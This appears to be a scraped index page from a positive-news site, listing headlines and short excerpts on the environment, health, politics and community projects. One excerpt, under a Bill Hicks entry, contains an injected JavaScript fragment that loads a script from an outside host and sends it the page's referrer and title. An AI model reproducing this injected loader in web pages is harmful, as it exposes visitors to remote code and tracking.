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Never, Ever Give Up. Arthur’s Inspirational Transformation!

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Never, Ever Give Up. Arthur’s Inspirational Transformation!

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If this story can inspire someone you know, please share it with them! Arthur Boorman was a disabled veteran of the Gulf War for 15 years, and was told by his doctors that he would never be able to walk on his ow...

Burma’s Opposition Party Wins By-Election in Landslide

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Burma’s Opposition Party Wins By-Election in Landslide

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Democracy champion Aung San Suu Kyi declared a "new era" for Burma Monday, after her party claimed a landslide victory in Sunday's parliamentary by-elections. Although official results could take days, the opposi...

Solutions, Episode 27 (Positive TV)

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Solutions, Episode 27 (Positive TV)

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In this episode Positive TV finds out more about Sexual Health.Also in this episode PTV interviews John D Lui about Rebuilding Eco Systems.Solutions is a programme dedicated to showcasing people and organisations arou...

Honolulu City Council backs bill to ban plastic bags at store, restaurant checkouts

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Honolulu City Council backs bill to ban plastic bags at store, restaurant checkouts

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They drift about on trade winds, marring Hawaii’s landscapes and posing threats to marine life. Floating plastic bags can kill marine animals, such as green sea turtles (hono) that become entangled or ingest the ...

The Hanging Gardens of Brighton Finale Party of The Brighton Fringe

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The Hanging Gardens of Brighton Finale Party of The Brighton Fringe

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Here is Worldshift Media's funky 3 minute film of The Hanging Gardens of Brighton, featuring "Peaches" by The Dub Pistols with Rodney P and Terry Hall.  Also starring Dreadzone Soundsystem, Alabama 3, Jamie Catto, The...

Wave Power Lights Up U.S. Electrical Grid For First Time

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Wave Power Lights Up U.S. Electrical Grid For First Time

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This from Inhabitat.com:- "We write a lot about wave power here at Inhabitat, but functional wave farms are few and far between. Now Ocean Power Technologies has hooked up its PB40 PowerBuoy to the grid at...

PepsiCo Will Switch To 100 Percent Plant-Based Bottle

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PepsiCo Will Switch To 100 Percent Plant-Based Bottle

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Using plant-based, fully renewable resources, the company plans to manufacture a beverage container with a significantly reduced carbon footprint.

‘Critical habitat’ set aside in Alaska for polar bears

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‘Critical habitat’ set aside in Alaska for polar bears

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(CNN) -- The setting aside of 187,000 square miles in Alaska as "critical habitat" for polar bears could have an impact on oil and gas drilling, federal and environmental officials said Wednesday. The U.S. Fish ...

Countries adopt UN-backed declaration to enhance protection of marine environment

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Countries adopt UN-backed declaration to enhance protection of marine environment

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28 January 2012 – Delegates from 65 countries attending a United Nations-backed conference in the Philippines have agreed to step up efforts to protect the world's oceans from land-based activities, stressing the ...

Bill Hicks – It’s Just a Ride

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Bill Hicks – It’s Just a Ride

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Comedian Bill Hicks on LIFE...s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

US to make ‘wild’ public land eligible for protection

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US to make ‘wild’ public land eligible for protection

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The US is to make millions of acres of public land eligible for wilderness protection, officials have said. The order reverses former President George W Bush's policy forbidding the government from doing so. Int...

Gene therapy ‘treats’ Parkinson’s disease

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Gene therapy ‘treats’ Parkinson’s disease

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Treating Parkinson's disease with gene therapy has been shown to be successful in clinical trials for the first time, say US researchers. The illness causes uncontrolled shaking, stiffness and slow movement as part...

Phone Recycler Ready for Massive Verizon iPhone Switch

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Phone Recycler Ready for Massive Verizon iPhone Switch

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After months of speculation, the coveted iPhone 4 is now available through Verizon. Market observers believe that Verizon could sell as many as 25 million of these gadgets in 2011 alone, as almost one-third of the...

Watercress could help suppress breast cancer cells

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Watercress could help suppress breast cancer cells

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This from our friends at optemistworld.com:- A plant compound in watercress may have the ability to suppress breast cancer cell development by 'turning off' a signal in the body, thereby starving a growing tumour...

Ambitious project to green the desert to begin in Jordan

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Ambitious project to green the desert to begin in Jordan

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There's great news for sustainable design innovation this week as the Sahara Forest Project gets backing from a development deal between Norway and Jordan. We wrote about this incredible proposal to create carbon neu...

Niger creates Africa’s largest protected reserve

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Niger creates Africa’s largest protected reserve

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This inhospitable-looking landscape is home to some critically endangered species. The Niger government, this month, formally decreed this whole area - the Termit Massif and Tin Toumma desert - to be a national ...

London to become ‘electric car capital’

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London to become ‘electric car capital’

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Mayor Boris Johnson has announced he wants London to become the “electric driving capital of the world.” The London Mayor was speaking at the launch of the first city-wide electric vehicle charging network, provi...

Can we eat to starve cancer?

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Can we eat to starve cancer?

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From the fantastic series of talks on www.ted.com we present:- William Li presents a new way to think about treating cancer and other diseases: anti-angiogenesis, preventing the growth of blood vessels that feed ...

access:energy

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access:energy

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Today we feature an appeal for help! Access:energy is a fantastic project:- Wind turbines made by Kenyans, for Kenyans. Power to the People. The founder writes:- access:energy - started with me and a friend tryin...

Solutions, Episode 25 (Positive TV)

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Solutions, Episode 25 (Positive TV)

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In this episode Positive TV finds out more about Livity and Life magazine.Also in this episode PTV reports on how to Make Your Business FairtradeSolutions is a programme dedicated to showcasing people and organisation...